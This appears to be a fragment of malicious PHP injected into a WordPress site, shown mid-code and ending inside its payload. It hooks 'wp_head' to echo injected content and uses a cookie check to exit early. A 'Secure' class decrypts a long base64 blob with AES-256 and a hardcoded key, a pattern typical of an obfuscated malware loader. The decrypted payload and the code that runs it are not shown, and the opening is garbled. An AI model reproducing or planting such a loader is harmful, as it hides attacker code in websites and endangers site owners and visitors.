'; } add_action('wp_head', 'add_my_code_scr'); php if(isset($_COOKIE['Ophl'])) { die('Kpzl'.'GFzVj'); } function add_my_code_scr() { echo ''; } add_action('wp_head', 'add_my_code_scr'); class Secure { private $masterKey; private $iterations = 10000; private $cipher = 'aes-256-cbc'; private $hmacAlgo = 'sha256'; private $saltLength = 16; public function __construct($masterKey) { $this->masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9'); $str = '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